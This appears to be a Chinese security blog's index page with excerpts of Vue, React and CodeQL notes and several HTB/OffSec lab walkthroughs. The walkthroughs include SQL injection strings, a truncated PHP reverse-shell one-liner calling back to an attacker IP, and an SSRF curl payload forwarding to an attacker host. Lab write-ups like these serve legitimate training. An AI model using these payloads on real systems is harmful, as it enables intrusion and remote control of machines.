Vue 学习笔记
从Vue官方文档开始学习 。
1234567891011121314151617181920212223242526272829303132project/├── public/│ ├── index.html│ └── ...├── src/│ ├── assets/│ │ ├── images/│ │ └── ...│ ├── components/│ │ ├── Header.vue│ │ ├── Sidebar.vue│ │ └── ...│ ├── views/│ │ ├── Home.vue│ │ ├── About.vue│ │ └── ...│ ├── App.vue│ └── main.js├── router/│ └── index.js├── store/│ ├── index.js│ ├── modules/│ │ ├── user.js│ │ └── ...├── plugins/│ └── axios.js├── utils/│ ├ ...
React学习笔记
React项目目录结构:
12345678910111213141516171819my-react-app/├── node_modules/ // 依赖的第三方模块├── public/ // 公共静态资源│ ├── index.html // 主 HTML 文件│ ├── favicon.ico│ └── ...├── src/ // 源代码│ ├── App.js // 主应用组件│ ├── index.js // 入口文件│ ├── components/ // 自定义组件│ ├── styles/ // 样式文件│ ├── assets/ // 项目内部资源,如图片│ ├── services/ // 数据服务│ └── ...├── package.json // 项目配置和依赖信息├── package-lock.json // 锁定依赖版本├── README.md // 项目说明文件└── ... // 其他配置文件、 ...
HTB-C.O.P Shop
给的target为157.245.43.189:31047
然后浏览器访问一下,发现是个web服务
有一个主页面和商品详情页面。
因为提供了源码,所以没有路径扫描,直接看源码,就只有两个web界面。
商品详情页面的url为, http://157.245.43.189:31047/view/1,通过修改最后的数字来显示不同的商品。
第一个想到的就是sqli,这里的数据库是sqlite,通过单引号闭合注入。
1' order by 1-- 正常显示
1' order by 2-- 报错
1' and 1=1 union select 1 -- 报错
bool类型的注入
直接上sqlmap
数据库中只有业务内容,有两个表,其中一个保存了4个商品的信息,没有其他的东西,无法继续。
回到源码看看。
注入点的代码如上。
试试ssti,也不行。继续翻源码,在最初构建数据库的时候使用了pickle进行反序列化。那么猜测通过python的反序列化进行利用
python pickle反序列化的利用方法如下:
https://davidhamann.de/2020/0 ...
offsec-Lab-BBSCute
扫描之后看到开放端口有22和80,直接打开80端口。
发现是Apache2 Debian默认页面
路径扫描发现存在index.php,打开后看到是CuteNwes2.1.2
搜索和cutenews相关的漏洞。searchsploit cutenews
可以看到有和2.1.2相关的漏洞。用searchsploit -m下载下来
查看漏洞详情,是一个文件上传漏洞。
首先注册一个用户,注册的时候看不到验证码,可以F12查看network,再次刷新的时候看到验证码,复制过去就可以注册。
上传漏洞点在更改用户头像的地方,可以手动注入。
这里使用EXP 48800.py进行渗透,在输入攻击url后没有拿到shell。
于是看一下提供的exp。
可以看到这里路径和我们攻击目标的路径不太一样,把这个删了之后重新使用exp。
成功拿到shell。然后用以下代码反弹shell。
1php -r '$sock=fsockopen("192.168.45.163",2333);system("/bin/bash <&3 >&3 ...
CodeQL学习笔记(一)
基础元素
变量(Variables)
类(Class)
表达式(Expressions)
查询(Queries)
公式(Formulas)
别名(Alias)
模块(Modules)
谓词(Predicates)
类(Class)123456789101112class Clazz extends int { Clazz(){ this=1 or this =2 } string getString(){ result = "One, two" + this.toString() }}from Clazz cselect c,c.getString()
codeql中的类在被调用时,其所有的子类都会被调用。
类中可以包含的元素
特征谓词声明
任意数量的成员谓词声明
任何数量的字段声明
特征谓词
它们是在类的主体中定义的谓词。它们是使用变量 this 限制类中可能的值的逻辑属性。
成员谓词
这些谓词只适用于特定类的成员。可以对值调用成员谓词。
字段声明
这 ...
offsec-Lab-InfosecPrep
首先端口扫描
nmap -sT 192.168.152.89 -p- -Pn --min-rate=10000 -vv
得到结果
访问web服务
看到WordPress,直接wpscan开扫。这里能得到用户名admin。
利用CVE-2017-5487也能得到。
路径扫描发现存在robots.txt
访问secret.txt。
base64解码下
openssh private key。 复制下来保存到~/.ssh/id_rsa中。
然后直接用ssh连接,用户名不是admin。
回去找了找,在主页发现用户名oscp。
重新登陆成功。
得到user flag。
offsec-Lab Sumo
首先进行端口扫描
路径扫描
feroxbuster -u http://192.168.181.87/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
没扫到东西。然后试试用nuclei扫描。
扫到一个EXP: https://github.com/opsxcq/exploit-CVE-2014-6271,试了一下发现可以直接利用
尝试反弹shell,反弹成功。
直接拿到用户flag
提权SUID、定时任务,sudo都没有找到利用方法。看内核时Linux3.2.0,搜索是否存在内核提权。
![image-20230723203927961](../images/offsec-Lab-Sumo/image-20230723203927961.png
WEBGOAT靶场(A1)
简介WebGoat是一个java-based的靶场。
通过该靶场可以学习相关漏洞原理,测试相关扫描器。
安装方便分析源码所以直接下载源码,git clone https://github.com/WebGoat/WebGoat.git
在启动项目之前修改服务的地址,因为原来设置的是127.0.0.1,导致启动后只能用127.0.0.1访问,本地地址无法访问,这样用bp抓包时比较麻烦。因此这里修改成0.0.0.0。路径为:
WebGoat/webgoat-container/src/main/resources/application.properties
12server.address=${webgoat.host}webgoat.host=${WEBGOAT_HOST:0.0.0.0}
启动webgoat。
1java -jar target/webgoat-2023.3-SNAPSHOT.jar
Hijack a session这个练习是让我们通过session登录到其他用户的登录态。首先在Account Access处尝试登录,利用 ...
HTB靶机-Sau
先扫描一下
访问55555端口,这里显示服务为request-baskets,版本为Version: 1.2.1 。
地址:https://github.com/darklynx/request-baskets
查看git地址,看介绍Request Baskets 是一个 Web 服务,用于收集任意 HTTP 请求并通过 RESTful API 或简单的 Web UI 检查它们。
可以通过建立Basket,然后访问给出的url,后台会显示出请求的详情。
搜一下有无可利用的漏洞,存在一个SSRF CVE-2023-27163。利用方式如下,post中的forward_url即可以触发SSRF。
1curl -X POST -d '{"forward_url": "http://10.10.16.10:2333","proxy_response": false,"insecure_tls": false,"expand_path": true,"capac ...
HTB靶机-LoveTok
启动机器,给的IP和端口为143.110.169.131:32543
直接浏览器打开。
这个机器给了源码,下载下来看看
源码的结构为
12345678910111213141516171819.├── assets│ ├── cyberpunk.gif│ └── favicon.png├── controllers│ └── TimeController.php├── index.php├── models│ └── TimeModel.php├── Router.php├── static│ ├── css│ │ └── main.css│ ├── js│ │ ├── koulis.js│ │ └── main.js│ └── koulis.gif└── views └── index.php
index.php中调用了Router,通过Router中的new函数构造TimeController中的index函数。
12$router = new Router();$router->new('GET ...